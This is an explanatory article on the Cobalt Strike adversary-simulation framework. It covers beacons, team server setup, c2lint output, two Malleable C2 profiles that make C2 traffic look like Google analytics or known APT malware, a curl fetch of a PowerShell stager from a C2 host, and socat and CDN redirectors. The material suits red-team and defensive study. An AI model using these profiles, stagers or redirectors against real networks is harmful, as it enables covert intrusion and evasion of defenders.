Cobalt-Strike
Introduction
What is Cobalt Strike?
(Disclaimer: this article is heavily inspired from the videos available here and the official documentation.)
Cobalt Strike is a software for Adversary Simulations and Red Team Operations that addresses all evasion techniques highlighted on the below diagram:
.--.-.-... .--.-.-.-..-.-. ( CODE ) (_, POSITIVE ,_) (_, EXEC ,_) ────+─────+─────+─────+───> (_, C2 ,_) '-'--`--'` FW proxy NSM TI '-'--`--'` ▲ │ │ │ │ │ │ └─────┴────┼──────┘ │ + EDR ──────────────┐ │ │ │ ┌──┴──┴─┐ │ + AWL │ SOC │ │ │ └─┬───┬─┘ │ + A/V ─────────────┘ └─────┐ │ anti │ │ ┌─────┐ ▼ ┌──────────┐ spam A/V .--.-.-.-..-.-. │ │ .▼-.-...-.._ │ attacker │ ──+────+────> (_, INITIAL ,_) EDR + (_, POST ) └──────────┘ (_, ACCESS ,_) └──── (_, EXEC ,_) '-'--`--'` '-'---`
.
Mission
- Close the gap between penetration testing tools and advanced threat malware
Vision
- Relevant and credible adversary simulations that:
- produce battle-hardened security analysts
- dirve-objective and meaningful security advances
- educate security professionals and decision makers on advanced threat tactics
Main features
Beacons
- Beacons are Cobalt Strike's post-exploitation payloads
- Two communication strategies:
- Asynchronous (low and slow)
- Interactive
- Uses HTTP/HTTPS or DNS to egress a network
- Uses SMB or TCP for P2P C2
- RAT features
Malleable C2
- A domain-specific language to give control over the indicators in the beacon payload
- Network traffic
- In-memory content, characteristics, and behavior
- Process injection behavior
More info is given in this section
Aggressor Script
- Aggressor Script is the scripting language built into Cobalt Strike v3.0+
- Allows to modify and extend the Colbalt Strike client:
- Add popup menus in the tool
- Define new commands for the beacon payloads
- scripts can respond to events in the tool
- Add new privesc and lateral movement automation
- Generate powershell scripts
- More info here
Collaboration and distributed operations
Collaboration
- Cobalt Strike works as a client/server architecture
- Servers are called "Team Servers". They run on Linux systems
- Clients connect to Team Servers to execute payloads and attack the targets. Clients connected to the same team server share:
- Sessions (you have the list of who is connected)
- Data (targets, web logs, keystrokes, screenshots, ...)
- Real time communication (event log, uses a syntax similar to IRC)
Distributed operations
- Clients can connect to multiple team servers.
- This is to avoid a single point of failure.
- Used for distributed actions (phishing, recon, attack, beacon, post-exploitation, ...)
- Team servers server multiple clients
- Team servers have no knowledge of data on the other team servers.
Logs and reports
- Logs available in the
/logs
directory - Reports available from the
Reporting
menu of the client
Who is using Cobalt Strike?
Cobalt Strike has been developed for Red Teams, to perform real attacks scenarios in the realm of table top exercises. However, due to the powerful features in the product, it has rapidly been adopted by APT actors, and Cobalt Strike is massively used in the Advanced Persistent Threat (APT) attacks, especially with ransomware distribution.
Setup
Team Server
Run the team server as follows (requires root privileges):
# ./teamserver <ip address> <password> [profile] [YYYY-MM-DD]
- ip addess: IP address of the C2
- password: shared password needed for the clients to connect
- profile: Malleable C2 profile (don't leave it empty).
- [YYYY-MM-DD]: kill date for beacon payloads run from the server
Team servers run on port 50050/tcp
Client
To start the client, run .start.sh
. It will popup a connection window:
Malleable C2
What is it?
Beacon's HTTP indicators are controlled by a Malleable C2 profile. A Malleable C2 profile is a simple program that specifies how to transform data and store it in a transaction. The same profile that transforms and stores data, interpreted backwards, also extracts and recovers data from a transaction.
Profiles defined how HTTP requests are issued / how they will look like.
- You can define custom DNS
- Modify certificate information (e.g. to imitate Google or Microsoft Updates traffic)
- Define custom URI
- Define custom headers (e.g. to mimic Gmail traffic, or hide the content into a picture)
There are even programs (e.g. Malleable-C2-Randomizer) that randomize Cobalt Strike Malleable C2 profiles through the use of a metalanguage, to reduce the chances of flagging signature-based detection controls.
Profile components
- Options: define global variables as key/value pairs (example:
set uri "/image";
within the http-get block) - Blocks:
- used for grouping indicators by specific behavior points (e.g.
http-get
to download tasks,http-post
to upload output,http-stager
to control staging process). - Notice that you can also define "variants" to create different instances of a block (e.g.
http-get "variant1" { ... }
). These variants will appear in the profiles list of the HTTP-Beacon listener. - Specific options can be specified in each block. Possibility to have nested blocks inside a block (e.g.
client
andserver
nested blocks within thehttp-get
block, to control the HTTP request and HTTP response, respectively)
- used for grouping indicators by specific behavior points (e.g.
- Extraneous Indicators: decorators for the request (e.g.
header "Pragma" "no-cache"
,header "Referer" "https://www.google.com"
) - Transforms: tranformation of objects in the request (e.g. how metadata are encoded and where they are stored:
metadata { netbios; append "-.jpg"; uri-append; }
)
Testing/Debugging
Cobalt Strike comes with a c2lint
program that allows to test profiles and show how requests look like. Below is an example:
$ ./c2lint ../profiles/normal/gmail.profile Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true =============== default =============== http-get -------- GET /_/scs/mail-static/_/js/ HTTP/1.1 Cookie: OSID=Fvecl2g1NMIrj/wZAsbatg== Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0) HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Cache-Control: public, max-age=31536000 X-XSS-Protection: 1; mode=block Server: GSE Alternate-Protocol: 443:quic,p=1 Content-Length: 864 try()catch(e)(_DumpException(e))N(L.Oa(),"sy558");P(L.Oa(),"sy558");O(L.Oa(),"sy558");try()catch(e)(_DumpException(e))N(L.Oa(),"sy580");P(L.Oa(),"sy580");O(L.Oa(),"sy580")try(.".@%T.....>..F.~7..fu.....#...#.....t.......d..r+`R..2.K.:[email protected] f2=function(a)(a=a.wa;return"application/chromium-bookmark-folder"==a||"application/chromium-root-folder"==a||"application/vnd.google-apps.folder"==a||"application/vnd.google-apps.photoalbum"==a||"application/vnd.google-apps.rollupphotoalbum"==a),g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case "all":case "docs-images":case "docs-images-and-videos":case "docs-videos":case "documents":case "drawings":case "folders":case "forms":case "pdfs":case "presentations":case "sites":case "spreadsheets":case "tables":return!0)return!1); O(L.Oa(),"sy588") http-post --------- POST /mail/u/0/?ui=d3244c4707&hop=6928632&start=0 HTTP/1.1 Content-Type: application/x-www-form-urlencoded;charset=utf-8 Cookie: OSID=NzAwMjc= Content-Length: 24 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB) wLZCXfGJN23ObBnKvLydeg== HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-XSS-Protection: 1; mode=block Server: GSE Content-Length: 56 [[["apm",""],["ci",[]],["cm",[],[]]],'dbb8796a80d45e1f'] [+] POST 3x check passed [+] .http-get.server.output size is good [+] .http-get.client size is good [+] .http-post.client size is good [+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s]) [+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s]) [+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s]) [+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (0 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (1 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (48248 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s]) [+] .http-post.client.id transform+mangle+recover passed (4 byte[s]) [+] .http-post.client.output transform+mangle+recover passed (0 byte[s]) [+] .http-post.client.output transform+mangle+recover passed (1 byte[s]) [+] .http-post.client.output POSTs results [+] .http-post.client.output transform+mangle+recover passed (48248 byte[s]) [+] .http-post.client.output transform+mangle+recover passed (1048576 byte[s]) [+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this. [%] [OPSEC] .host_stage is true. Your Beacon payload is available to anyone that connects to your server to request it. Are you OK with this? [-] .spawnto is deprecated and has no effect. Set .post-ex.spawnto_x86 and .post-ex.spawnto_x64 instead. [%] [OPSEC] .post-ex.spawnto_x86 is '%windir%\syswow64\rundll32.exe'. This is a *really* bad OPSEC choice. [%] [OPSEC] .post-ex.spawnto_x64 is '%windir%\sysnative\rundll32.exe'. This is a *really* bad OPSEC choice. [!] .code-signer.keystore is missing. Will not sign executables and DLLs Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [+] SSL certificate generation OK Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Documentation
- Profile examples are reported below. More profiles examples are available here
- Help on writing profiles is available here
Example 1: webbug.profile
# make our C2 look like a Google Web Bug # https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting # # Author: @armitagehacker http-get { set uri "/__utm.gif"; client { parameter "utmac" "UA-2202604-2"; parameter "utmcn" "1"; parameter "utmcs" "ISO-8859-1"; parameter "utmsr" "1280x1024"; parameter "utmsc" "32-bit"; parameter "utmul" "en-US"; metadata { netbios; prepend "__utma"; parameter "utmcc"; } } server { header "Content-Type" "image/gif"; output { # hexdump pixel.gif # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 # 0000020 01 00 01 00 00 02 01 44 00 3b prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b"; prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00"; print; } } } http-post { set uri "/___utm.gif"; client { header "Content-Type" "application/octet-stream"; id { prepend "UA-220"; append "-2"; parameter "utmac"; } parameter "utmcn" "1"; parameter "utmcs" "ISO-8859-1"; parameter "utmsr" "1280x1024"; parameter "utmsc" "32-bit"; parameter "utmul" "en-US"; output { print; } } server { header "Content-Type" "image/gif"; output { prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b"; prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00"; print; } } } # dress up the staging process too http-stager { server { header "Content-Type" "image/gif"; } }
Example 2: apt1_virtuallythere.profile
# APT1 VIRTUALLYTHERE SSL # # Reference: Mandiant's APT1 Report # Digital Appendx F - SSL Certificates # http://intelreport.mandiant.com/ # # Author: @armitagehacker set sample_name "APT1 Virtually There Malware"; # this is the certificate https-certificate { set C "US"; set ST "Some-State"; set O "www.virtuallythere.com"; set OU "new"; set CN "new"; } # since *cough* presumably you're using an HTTPS Beacon... http-get { set uri "/zOMGAPT"; client { metadata { netbiosu; parameter "tmp"; } } server { header "Content-Type" "application/octet-stream"; output { print; } } } http-post { set uri "/BUYTHEAPTDETECTORNOW"; client { header "Content-Type" "application/octet-stream"; id { uri-append; } output { print; } } server { header "Content-Type" "text/html"; output { print; } } }
Infrastructure
Listeners
- A Listener is a configuration for Cobalt Strike payload
- Several types of listeners:
- egress: payload that beacons out of a network
- P2P: payload that communicates through a parent payload
- alias: reference to a payload handler elsewhere (e.g. another toolset)
- Management from the
Cobalt Strike > Listeners
menu
See details about listeners here
Beacon payloads and Beacon Commands
Payload staging
- A stager is a tiny program that downloads a payloas and passes execution to it (needed for size-constrained attacks)
- Stageless means payload without a stager
- Stagers are les secure, more brittle and easier to detect
- Less prevalent in Cobalt Strike v4.
HTTP beacon
[1] [3] ┌──────────┐ [2] [5] .--.-.-.-. │ Word doc │ ────────────> (_, C2 ,_) │ w/ macro │ <──────────── (_, ,_) └──────────┘ [4] '-'--'`
In this example:
- The macro is executed and spawns a child process with the staging payload
- It executes a HTTP GET request to the C2 server
- If the attacker has prepared some actions to perform...
- ..it returns a response to the request, containing an encrypted blob of actions to perform.
- The actions will execute, and the output will be sent via a POST request, containing the output, encrypted. Below is an example:
Beware that the attack expects a given user-agent:
$ curl -i http://c2.dom.com/a
HTTP/1.1 404 Not Found
Date: Mon, 29 Jun 2020 06:10:33 GMT
Content-Type: text/plain
Content-Length: 0
$ curl -i -A "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" http://c2.dom.com/a HTTP/1.1 200 OK Date: Mon, 29 Jun 2020 06:10:57 GMT Content-Type: text/plain Content-Length: 226512 $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAOy9Wc/qyLImfL33r1g[REDACTED]
Beacon Commands
See Beacon Commands
Redirectors
Redirectors:
- Are servers sitting between the Cobalt Strike Team Servers and the target network
- Forward traffic back to the Cobalt Strike instance.
- Allow to obfuscate the real IP addresses of the team servers
Redirectors can be done using:
- iptables, socat or whatever is able to forward traffic. With socat:
socat TCP4-LISTEN:80,fork TCP4:[team server]:80
- Apache/Nginx reverse proxy
- CDN as redirector for HTTPS traffic (interesting option since security teams are likely not to be willing to block such IP addresses)